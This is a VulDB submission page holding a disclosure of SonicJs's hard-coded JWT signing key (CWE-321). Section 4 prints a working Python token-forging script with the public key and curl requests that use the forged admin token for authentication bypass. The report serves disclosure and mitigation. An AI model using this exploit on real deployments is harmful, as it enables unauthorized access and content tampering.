إرسال #1069059: SonicJs-Org sonicjs dc5b6787a4bd5a295caaf7a16053cc45af37be4d (main HEAD 2026-10-28), constant identical at 3.0.0 Use of Hard-coded Cryptographic Keyالمعلومات

عنوانSonicJs-Org sonicjs dc5b6787a4bd5a295caaf7a16053cc45af37be4d (main HEAD 2026-10-28), constant identical at 3.0.0 Use of Hard-coded Cryptographic Key
الوصف1. Hard-coded signing key. SonicJs ships a hard-coded JWT signing key with no effective protection for non-production deployments. The constant is declared at https://github.com/SonicJs-Org/sonicjs/blob/dc5b6787a4bd5a295caaf7a16053cc45af37be4d/packages/core/src/middleware/auth.ts#L15 (JWT_SECRET_FALLBACK = 'your-super-secret-jwt-key-change-in-production'). generateToken signs via sign(payload, secret || JWT_SECRET_FALLBACK, 'HS256') (line 192) and verifyToken mirrors it as effectiveSecret = secret || JWT_SECRET_FALLBACK (lines 215-219): when the optional JWT_SECRET binding is absent, this public constant is the live signing key. It is byte-identical at HEAD dc5b6787 (default branch main as of 2026-10-28) and release tag 3.0.0, and present at tags 3.0.0-beta.30 and 3.0.0-beta.28. 2. My report and the vendor's response. I reported this issue in https://github.com/SonicJs-Org/sonicjs/issues/1043 (2026-07-25). The vendor closed it as completed on 2026-10-26 by adding a bootstrap gate that warns in development and throws only when ENVIRONMENT equals production (middleware/bootstrap.ts lines 218-254), while the shipped application template my-sonicjs-app/wrangler.toml defaults to ENVIRONMENT = "development" and defines no JWT_SECRET — so on template-shaped deployments the fallback constant remains the effective key and no warning stops the deployment. In this entry I document the effective key material, an offline-forgery proof of concept that I executed against a separately deployed instance, and the full reproduction transcript that I published at https://github.com/SonicJs-Org/sonicjs/issues/1043#issuecomment-6464229231. 3. Token construction. The JWTPayload type (auth.ts lines 6-12) defines no iss and no aud, and verification checks signature and expiry only. generateToken builds a payload of userId, email, role, exp and iat (lines 184-190), so a forged token needs exactly those claims. The write guard routes/api-content-crud.ts line 175 wraps content creation with requireAuth() and requireRole(['admin', 'editor', 'author']), and the role middleware passes any claimed role in its allowed set — the claims inside the forgeable token are the only authorization input. 4. Attack process, fully offline with no login call. I used the following standard-library Python script to mint the token: import sys, json, time, uuid, hmac, hashlib, base64 def b64u(s): return base64.urlsafe_b64encode(s).rstrip(b"=").decode() KEY = "your-super-secret-jwt-key-change-in-production" now = int(time.time()) h = b64u(json.dumps({"alg":"HS256","typ":"JWT"}, separators=(",",":")).encode()) p = b64u(json.dumps({"userId":"admin-user-id","email":"[email protected]","role":"admin","jti":str(uuid.uuid4()),"iat":now,"exp":now+86400}, separators=(",",":")).encode()) print(h+"."+p+"."+b64u(hmac.new(KEY.encode(), (h+"."+p).encode(), hashlib.sha256).digest()) I read the userId value from the instance's live users table, saved the forged token to token.txt, and tested it against a deployment built from the repository with no JWT_SECRET in the container environment and no .dev.vars in the app directory, so the fallback constant was the effective key. The request scripts, exactly as run: curl -s http://127.0.0.1:20008/auth/me -H "Authorization: Bearer $(cat token.txt)" returned HTTP 200 with the full admin profile (id and email identical to the forged claims), and curl -s -X POST http://127.0.0.1:20008/api/content -H "Authorization: Bearer $(cat token.txt)" -H "Content-Type: application/json" -d '{"collectionId":"col-blog_posts-c454b85f","title":"POC-D-ATTACK-1117","data":{"poc":"d"}}' -w 'HTTP:%{http_code}' returned HTTP 201 with the created content row, which remained anonymously readable afterwards, and the D1 content table recorded author_id equal to the forged userId. On the same endpoint I also checked the controls: an anonymous request returns 401, a fallback-key token without a role claim returns 403, and a token signed with an unrelated key returns 401 — only the token signed with the public fallback constant writes. I published the complete transcript with these results in the issue comment linked above. 5. Impact. For any deployment running without a configured JWT_SECRET — the shipped template's default configuration — the public repository alone suffices to mint tokens asserting any registered user identity and any role in the middleware's allowed set, fully offline and without credentials: authentication bypass, privilege escalation by self-issued claims, and unauthenticated content creation attributed to the forged account. CVSS:3.1 base vector AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N, base score 8.2 High. Class: CWE-321 Use of Hard-coded Cryptographic Key. 6. Mitigation. Set a strong unique JWT_SECRET everywhere including development and CI (a configured secret immediately invalidates fallback-minted tokens); remove the fallback constant and fail closed or generate a random per-install development key; purge the duplicate literals at middleware/csrf.ts line 22 and routes/auth.ts line 23, which use the same constant as the CSRF signing secret; reconsider shipping ENVIRONMENT = "development" as the template default. Deployments that ever ran without JWT_SECRET should treat all outstanding tokens as forged. Product homepage: https://sonicjs.com
المصدر⚠️ https://github.com/SonicJs-Org/sonicjs/issues/1043
المستخدم
 dlren (UID 101827)
ارسال01/11/2026 02:37 PM (26 أيام منذ)
الاعتدال27/11/2026 07:19 PM (26 days later)
الحالةتمت الموافقة
إدخال VulDB444971 [SonicJs-Org SonicJS حتى 3.0.1 auth.ts AuthManager.verifyToken تشفير ضعيف]
النقاط20

Interested in the pricing of exploits?

See the underground prices here!